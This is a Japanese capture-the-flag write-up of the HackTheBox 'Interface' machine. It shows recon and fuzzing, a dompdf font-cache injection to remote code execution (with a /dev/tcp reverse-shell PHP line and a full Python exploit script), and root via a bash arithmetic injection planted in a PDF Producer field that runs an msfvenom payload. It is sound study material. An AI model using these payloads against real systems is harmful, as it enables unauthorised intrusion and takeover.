enumerationやbashの性質を利用したインジェクションの部分など、学ぶことがたくさんありやりがいあるboxでした。ただ正解のやり方を書くのではなく、どうしてその方法をとったのかなど少し冗長に書きます。
Recon
ポートスキャン
╭─[shoebill@kali]─[~/Interface_10.10.11.200]
╰─$ sudo nmap -v -sS -sC -sV -Pn -T4 -p- -A 10.10.11.200 -oN allports.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| 256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_ 256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.0 - 5.3 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 1.092 days (since Wed Mar 1 14:07:01 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
webサーバが立ってるのでブラウザでみにいく。ソースコードをみると"interface.htb"のドメインを発見。
/etc/hosts
を編集する。
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.200 interface.htb
Content-Security-Policyからサブドメインを発見
以下のようにサブディレクトリを探しても、サブドメインを探しても何もみつからない。
gobuster dir -u 'http://interface.htb/' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e -k -x "txt,html,php,js"
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://interface.htb' -H 'Host: FUZZ.interface.htb'
ページのソースをよく読んでも脆弱性がみつからない。
ここで手詰まりしたが、Burpで見るとなんとリスポンスヘッダのCSPにサブドメインを発見!!
再び/etc/hosts
を編集する。
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.200 interface.htb prd.m.rendering-api.interface.htb
wfuzz
でサブディレクトリをみつける
gobuster
でhttp://prd.m.rendering-api.interface.htb
のサブディレクトリを探すがうまくみつからない。
そこでファジングをする。HTTPリスポンスのステータスコードじゃなくて、文字数でフィルタリングする。
404だからといって無視できない(gobuster
などのツールはデフォルトで404を無視しがち)
/vendor/
下のディレクトリを同様にして発見。
POSTメソッドでファジングする
しかし/api/
下のディレクトリがみつからない。ブラウザでアクセスしても以下のように表示されるだけ。
そこで、メソッドにPOSTを指定してファジングする。
このように、GETメソッドではみつからないがPOSTメソッドでサブディレクトリがみつかるということもある。
http://prd.m.rendering-api.interface.htb/api/html2pdf
になんのデータも付与せずPOSTすると次のように返される。
何かデータを指定してPOSTする模様。そこで、次のようにファジングしてみた
wfuzz --hh 36 -X POST -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u 'http://prd.m.rendering-api.interface.htb/api/html2pdf/' -d 'FUZZ=hoge'
がうまくみつからない。
POSTするデータのフォーマットをjsonに変更してファジング
データのフォーマットをjson形式にしてファジングすると以下のようにパラメータがみつかる。
データフォーマットをjsonとかに変えてPOSTした時の反応をみるというテクは大切(その際Content-Type
をapplication/x-www-form-urlencoded
からapplication/json
に変える)。
Shell as www-data
dompdfについてググるとexploitがみつかる。
まずXSSの脆弱性が必要。みつけたパラメータ"html"
に、上のgithubにあるXSSのペイロードを注入してPOSTすると攻撃が成功する。
以上の脆弱性を使ってwww-dataのシェルをとる。自分のIPアドレスに書き換えてexploit.css
を用意する。
@font-face {
font-family:'exploitfont';
src:url('http://10.10.16.4/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
exploit_font.php
の下部にある<?php phpinfo(); ?>
を次のように書き換える
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.4/443 0>&1'"); ?>
よし、XSSしてcssとphpをダウンロードさせる。
あのphpを実行させるには次のURLにアクセスすればよい。
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_440c6bdb63f85aa805beb68d14c909e3.php
exploitの詳細(From XSS to RCE (dompdf 0day))に書いてあるが、/vendor/dompdf/dompdf/lib/fonts/
の配下にキャッシュされ、ファイル名のフォーマットは<フォント名>_<font-weight/style>_<ttfファイルへの外部リンクのmd5ハッシュ>
。
(肝は拡張子.ttf
を.php
に書き換えること)
リスナーを立てて、アクセスして、revshellゲット。
この一連の操作を毎回やるのはダルいからpythonスクリプトを書く:
#!/usr/bin/env python3
import re
import requests
import sys
from hashlib import md5
def CSSinj(attackerIP, cssfile):
'''
make a target download malicious css and php files
(start the web server before running this exploit)
'''
print('making the target download css and php files...')
print('attackerIP:', attackerIP)
print('cssfile:', cssfile)
headers = {
'Host': 'prd.m.rendering-api.interface.htb',
'Content-Type': 'application/json',
}
data = '\r\n{"html": "<link rel=stylesheet href=\'http://' + attackerIP + '/' + cssfile + '\'>"}'
requests.post('http://prd.m.rendering-api.interface.htb/api/html2pdf', headers=headers, data=data, verify=False)
def execphp(url2php, fontname):
'''
accessing the cacheed php file and execute it
'''
md5_url2php = md5(url2php.encode()).hexdigest()
url4rce = 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/' + fontname + '_normal_' + md5_url2php + '.php'
print('\naccessing the cached php file...')
print('url2php:', url2php)
print('fontname:', fontname)
print('url4rce:', url4rce)
requests.get(url4rce)
def main(cssfile):
with open(cssfile, 'r') as f:
css_content = f.read()
url_pattern = re.compile(r'http\S+\.php')
urls = url_pattern.findall(css_content)
url2php = urls[0]
ipv4_pattern = re.compile(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")
attackerIP = ipv4_pattern.search(url2php).group()
font_pattern = re.compile(r"font-family:\s*['\"]?([^'\"]+)['\"]?;")
font_name = font_pattern.search(css_content)
fontname = font_name.group(1)
CSSinj(attackerIP, cssfile)
execphp(url2php, fontname)
print('\nsucceeded in RCE?')
if __name__ == '__main__':
# Usage: python3 exploit.py <css file>
cssfile = sys.argv[1]
main(cssfile)
下の画像にある通り、webサーバとリスナーを立てた状態でpyton3 exploit.py exploit.css
を実行すればサクッとリバースシェルがとれる。
(www-dataでuser.txtが得られる)
Shell as root
ディレクトリを色々みたり、linpeasを走らせたりしたがprivesc(privilege escalatoin)できそうな部分がみつからない。
そこでpspy64
を実行する。
rootが/usr/local/sbin/cleancache.sh
を定期的に実行してる。このファイルはwww-dataでも読めるので中身をみてみる。
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
fi
fi
done
単純にダブルクオーテーションだから、ファイル名にバッククオーテーションとか$()
とか使えば簡単にインジェクションできるだろうと思ってやってみるもうまくいかない。
[[ $var -eq hoge ]]
に関するコマンド実行
ググってると次の記事をみつけた。
$meta_producer
の部分にa[$(date >&2)]+dompdf
とかがくればコマンド実行できそう。
そもそも、このcleancache.sh
はどんなファイルに実行されるのか?/tmp/
下のファイルを取り扱うというのはわかる。たぶん上のexploitの中で行った、フォントファイルをキャッシュするときに何か/tmp/
に作成されるのだろうと推測できる。
試しにもう一度exploitを実行してみると、pdfファイルが作成されるとわかる。
(そのまま/tmp/
に置いておくと削除されてしまうので、このpdfファイルをwww-dataのホームディクトリすなわち/var/www
にコピーしておく)
exiftool
をそのpdfファイルに対して実行してやると
www-data@interface:~$ exiftool -s -s -s -Producer 6fe6c9bc2311059b9f6676e1605318ea.pdf 2>/dev/null
dompdf 1.2.0 + CPDF
www-data@interface:~$ exiftool -s -s -s -Producer 6fe6c9bc2311059b9f6676e1605318ea.pdf 2>/dev/null | cut -d " " -f1
dompdf
がわかる。このdompdf
という文字列が変数$meta_producer
に対応するものだから、exiftool
を使ってProducer
にa[$(/var/www/revshell.elf)]+dompdf 1.2.0 + CPDF
を設定してやればよい。
ただしrevshell.elf
とは次のように作成したもの:
╭─[shoebill@kali]─[~/Interface_10.10.11.200]
╰─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.4 LPORT=443 -f elf -o revshell.elf
まずrevshell.elf
を/var/www/
に送る。実行権限を付与するのを忘れない(chmod +x revshell.elf
)。
その後、次のようにexiftool
で設定する。
www-data@interface:~$ exiftool -Producer='a[$(/var/www/revshell.elf)]+dompdf 1.2.0 + CPDF' 6fe6c9bc2311059b9f6676e1605318ea.pdf
リスナーを立ててから、このpdfを/tmp/
に送っておけばrootによるcronjobでcleancache.sh
が実行されてrevshellがとれる。
(追記)最新のferoxbusterが良さそう
あの0xdfさんがferoxbusterについて語ってる(2023/3/15アップロード):
実際にやってみよう
feroxbuster -u http://prd.m.rendering-api.interface.htb/
(ワードリストはデフォルトで/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
)
まず、圧倒的にスキャンのスピードが速い。すぐに/apiと/vendorがみつかった。
あれ?feroxbusterってみつけたディレクトリに対して自動でその配下のディレクトリも探しにいくんじゃなかったっけ?しょうがないから、エンターキーを押してScan Management Menuで/apiと/vendor下をさらにスキャンするよう追加する:
すると、/vendor下は見つかるが、/api/html2pdfがみつからない:
よし、メソッドにGETとPOSTの両方を指定しよう
feroxbuster -u http://prd.m.rendering-api.interface.htb/ -m GET,POST
(上と同様に、途中で/apiと/vendorをスキャンするようにScan Management Menuで追加する)
まとめると、
- feroxbusterでメソッドはGETとPOSTの両方を指定
- 途中でみつかったサブディレクトリについては、Scan Management Menuで追加
gobusterからferoxbusterに乗り換えてみるか...
※バージョン2.9.1のferoxbusterがなぜかアプデしてもapt
でインストールできないので、githubからx86_64-linux-feroxbuster.zipをダウンロードして解凍した